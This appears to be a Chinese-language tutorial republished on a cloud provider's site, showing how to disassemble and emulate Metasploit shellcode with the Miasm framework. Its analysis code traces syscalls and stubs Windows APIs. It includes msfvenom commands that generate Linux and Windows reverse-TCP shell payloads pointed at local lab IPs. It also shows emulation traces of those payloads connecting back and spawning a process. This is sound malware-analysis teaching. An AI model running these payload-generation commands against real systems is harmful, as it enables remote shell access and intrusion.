溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么使用Miasm分析Shellcode

發(fā)布時(shí)間:2021-12-27 15:15:39 來源:億速云 閱讀:139 作者:iii 欄目:數(shù)據(jù)安全

這篇文章主要介紹“怎么使用Miasm分析Shellcode”,在日常操作中,相信很多人在怎么使用Miasm分析Shellcode問題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”怎么使用Miasm分析Shellcode”的疑惑有所幫助!接下來,請(qǐng)跟著小編一起來學(xué)習(xí)吧!

Linux Shellcode

讓我們從Linux shellcode開始,因?yàn)樗鼈儾蝗鏦indows shellcode復(fù)雜。

msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1

讓我們用miasm反匯編shellcode:

from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux1", "rb") as f:
    buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
print(disasm)

我們得到以下代碼:

loc_key_0
PUSH       0xB
POP        EAX
CDQ
PUSH       EDX
PUSHW      0x632D
MOV        EDI, ESP
PUSH       0x68732F
PUSH       0x6E69622F
MOV        EBX, ESP
PUSH       EDX
CALL       loc_key_1
->c_to:loc_key_1
loc_key_1
PUSH       EDI
PUSH       EBX
MOV        ECX, ESP
INT        0x80
[SNIP]

這里沒有什么奇怪的,INT 0x80正在調(diào)用系統(tǒng),并且系統(tǒng)調(diào)用代碼在第一行移至EAX,0xB是的代碼execve。我們可以CALL loc_key_1通過在指令地址+大小和的地址之間取數(shù)據(jù)來輕松獲得數(shù)據(jù)后的地址loc_key1:

> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0
> print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]])
b'/bin/ls\x00'

接下來我們?cè)賮硪粋€(gè)更復(fù)雜的shellcode:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2

該代碼中有條件跳轉(zhuǎn),我們換成圖形化來閱讀:

from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux2", "rb") as f:
    buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
open('bin_cfg.dot', 'w').write(disasm.dot())

怎么使用Miasm分析Shellcode

要想從靜態(tài)就理解有點(diǎn)困難,因此讓我們看看是否可以使用miasm來模擬它。

模擬指令非常容易:

from miasm.analysis.machine import Machine
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.run(run_addr)

Miasm模擬所有指令,直到我們到達(dá)第一個(gè)int 0x80調(diào)用為止:

40000000 PUSH       0xA
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0
40000002 POP        ESI
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0
[SNIP]
40000010 INT        0x80
EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0
Traceback (most recent call last):
  File "linux1.py", line 11, in <module>myjit.run(run_addr)
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run
    return self.continue_run()
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run
    return next(self.run_iterator)
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once
    assert(self.get_exception() == 0)
AssertionError

默認(rèn)情況下,miasm計(jì)算機(jī)不執(zhí)行系統(tǒng)調(diào)用,但是可以為該異常添加異常處理程序EXCEPT_INT_XX(EXCEPT_SYSCALL對(duì)于Linux x86_64)并自己實(shí)現(xiàn)。讓我們先打印系統(tǒng)調(diào)用號(hào)碼:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX
from miasm.analysis.machine import Machine
def exception_int(jitter):
    print("Syscall: {}".format(jitter.cpu.EAX))
    return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)
myjit.run(run_addr)

這給了我們系統(tǒng)調(diào)用:

Syscall: 102
Syscall: 102

在意識(shí)到miasm已經(jīng)集成了多個(gè)syscall實(shí)現(xiàn)和使它們由虛擬機(jī)執(zhí)行的方法之前,我開始重新實(shí)現(xiàn) shellcode經(jīng)常使用的一些syscall。我已經(jīng)提交了一些額外的系統(tǒng)調(diào)用的PR,然后我們可以模擬shellcode:

myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_linux2", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
log = logging.getLogger('syscalls')
log.setLevel(logging.DEBUG)
env = environment.LinuxEnvironment_x86_32()
syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)
myjit.run(run_addr)

我們得到以下syscall跟蹤:

[DEBUG   ]: socket(AF_INET, SOCK_STREAM, 0)
[DEBUG   ]: -> 3
[DEBUG   ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102)
[DEBUG   ]: -> 0
[DEBUG   ]: sys_mprotect(123f000, 1000, 7)
[DEBUG   ]: -> 0
[DEBUG   ]: sys_read(3, 123ffe4, 24)

因此,使用miasm分析linux shellcode非常容易,您可以使用此腳本。

windows

由于無法在Windows上對(duì)系統(tǒng)調(diào)用指令,因此Windows Shellcode需要使用共享庫中的函數(shù),這需要使用LoadLibrary和GetProcAddress加載它們,后者首先需要在kernel32.dll DLL文件中找到這兩個(gè)函數(shù)地址。記憶。

讓我們用metasploit生成第一個(gè)shellcode:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443   -f raw > sc_windows1

我們可以使用上面用于Linux的完全相同的代碼來生成調(diào)用圖:

怎么使用Miasm分析Shellcode

在這里,我們看到了大多數(shù)shellcode用來獲取其自身地址的技巧之一,CALL就是將下一條指令的地址壓入堆棧,然后將其存儲(chǔ)在EBP中POP。因此CALL EBP,最后一條指令的,就是在第一次調(diào)用之后立即調(diào)用該指令。而且由于此處僅使用靜態(tài)分析,所以miasm無法知道EBP中的地址。

我們?nèi)匀豢梢栽诘谝淮握{(diào)用后手動(dòng)反匯編代碼:

inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first block
next_addr = inst.offset + inst.l # offset + size of the instruction
disasm = mdis.dis_multiblock(offset=next_addr)
open('bin_cfg.dot', 'w').write(disasm.dot())

怎么使用Miasm分析Shellcode

在這里,我們看到的shellcode首先通過以下尋找KERNEL32的地址PEB,PEB_LDR_DATA并LDR_DATA_TABLE_ENTRY在內(nèi)存中的結(jié)構(gòu)。讓我們模擬一下:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.machine import Machine
def code_sentinelle(jitter):
    jitter.run = False
    jitter.pc = 0
    return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_windows1", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.push_uint32_t(0x1337beef)
myjit.add_breakpoint(0x1337beef, code_sentinelle)
myjit.run(run_addr)
40000000 CLD
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0
40000001 CALL       loc_40000088
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0
40000088 POP        EBP
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0
40000089 PUSH       0x3233
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0
[SNIP]
4000000B MOV        EDX, DWORD PTR FS:[EAX + 0x30]
WARNING: address 0x30 is not mapped in virtual memory:
Traceback (most recent call last):
[SNIP]
RuntimeError: Cannot find address

一直進(jìn)行到到達(dá)為止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令從內(nèi)存中的FS段獲取TEB結(jié)構(gòu)地址。但是在這種情況下,miasm僅模擬代碼,而未在內(nèi)存中加載任何系統(tǒng)段。為此,我們需要使用miasm的完整Windows Sandbox,但是這些VM僅運(yùn)行PE文件,因此,我們首先使用簡(jiǎn)短的腳本使用lief將shellcode轉(zhuǎn)換為完整的PE文件:

from lief import PE
with open("sc_windows1", "rb") as f:
    data = f.read()
binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)
section_text                 = PE.Section(".text")
section_text.content         = [c for c in data] # Take a list(int)
section_text.virtual_address = 0x1000
section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)
binary32.optional_header.addressof_entrypoint = section_text.virtual_address
builder = PE.Builder(binary32)
builder.build_imports(True)
builder.build()
builder.write("sc_windows1.exe")

現(xiàn)在,讓我們使用一個(gè)miasm沙箱來運(yùn)行此PE,該沙箱可以選擇use-windows-structs將Windows結(jié)構(gòu)加載到內(nèi)存中(請(qǐng)參見此處的代碼):

from miasm.analysis.sandbox import Sandbox_Win_x86_32
class Options():
    def __init__(self):
        self.use_windows_structs = True
        self.jitter = "gcc"
        #self.singlestep = True
        self.usesegm = True
        self.load_hdr = True
        self.loadbasedll = True
    def __getattr__(self, name):
        return None
options = Options()
# Create sandbox
sb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals())
sb.run()
assert(sb.jitter.run is False)

該選項(xiàng)loadbasedll是基于名為的文件夾中的現(xiàn)有dll將DLL結(jié)構(gòu)加載到內(nèi)存中win_dll(您需要Windows x86_32 DLL)。執(zhí)行后,出現(xiàn)以下崩潰:

[SNIP]
[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
Traceback (most recent call last):
  File "windows4.py", line 18, in <module>sb.run()
    [SNIP]
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
    raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")

如果我們查看文件jitload.py,它實(shí)際上調(diào)用了在win_api_x86_32.py中實(shí)現(xiàn)的DLL函數(shù),并且我們看到kernel32_LoadLibrary確實(shí)實(shí)現(xiàn)了該函數(shù),但沒有實(shí)現(xiàn)WSAStartup,因此我們需要自己實(shí)現(xiàn)它。

Miasm實(shí)際上使用了一個(gè)非常聰明的技巧來簡(jiǎn)化新庫的實(shí)現(xiàn),沙盒接受附加功能的參數(shù),默認(rèn)情況下使用調(diào)用globals()。這意味著我們只需要在代碼中定義一個(gè)具有正確名稱的函數(shù),它就可以直接作為系統(tǒng)函數(shù)使用。讓我們嘗試ws2_32_WSAStartup:

def ws2_32_WSAStartup(jitter):
    print("WSAStartup(wVersionRequired, lpWSAData)")
    ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"])
    jitter.func_ret_stdcall(ret_ad, 0)

現(xiàn)在我們得到:

INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
Traceback (most recent call last):
[SNIP]
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
    raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")

我們可以繼續(xù)這種方式,并逐一實(shí)現(xiàn)shellcode調(diào)用的幾個(gè)函數(shù):

def ws2_32_WSASocketA(jitter):
    """
    SOCKET WSAAPI WSASocketA(
        int                 af,
        int                 type,
        int                 protocol,
        LPWSAPROTOCOL_INFOA lpProtocolInfo,
        GROUP               g,
        DWORD               dwFlags
    );
    """
    ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"}
    TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"}
    PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"}
    ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"])
    print("WSASocketA({}, {}, {}, ...)".format(
        ADDRESS_FAM[args.af],
        TYPES[args.type],
        PROTOCOLS[args.protocol]
    ))
    jitter.func_ret_stdcall(ret_ad, 14)
def ws2_32_connect(jitter):
    ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"])
    sockaddr = jitter.vm.get_mem(args.name, args.namelen)
    family = struct.unpack("H", sockaddr[0:2])[0]
    if family == 2:
        port = struct.unpack(">H", sockaddr[2:4])[0]
        ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])])
        print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))
    else:
        print("connect()")
    jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_CreateProcessA(jitter):
    ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"])
    jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_ExitProcess(jitter):
    ret_ad, args = jitter.func_args_stdcall(["uExitCode"])
    jitter.func_ret_stdcall(ret_ad, 0)
    jitter.run = False

最后,我們對(duì)shellcode進(jìn)行了完整的模擬:

[INFO    ]: Add module 400000 'sc_windows1.exe'
[INFO    ]: Add module 7c900000 'ntdll.dll'
[INFO    ]: Add module 7c800000 'kernel32.dll'
[INFO    ]: Add module 7e410000 'use***.dll'
[INFO    ]: Add module 774e0000 'ole32.dll'
[INFO    ]: Add module 7e1e0000 'urlmon.dll'
[INFO    ]: Add module 71ab0000 'ws2_32.dll'
[INFO    ]: Add module 77dd0000 'advapi32.dll'
[INFO    ]: Add module 76bf0000 'psapi.dll'
[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
[INFO    ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab
[INFO    ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba
WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)
[INFO    ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4
socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)
[INFO    ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117
[INFO    ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125
[INFO    ]: kernel32_GetVersion() ret addr: 0x401131
[INFO    ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144

到此,關(guān)于“怎么使用Miasm分析Shellcode”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注億速云網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)砀鄬?shí)用的文章!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI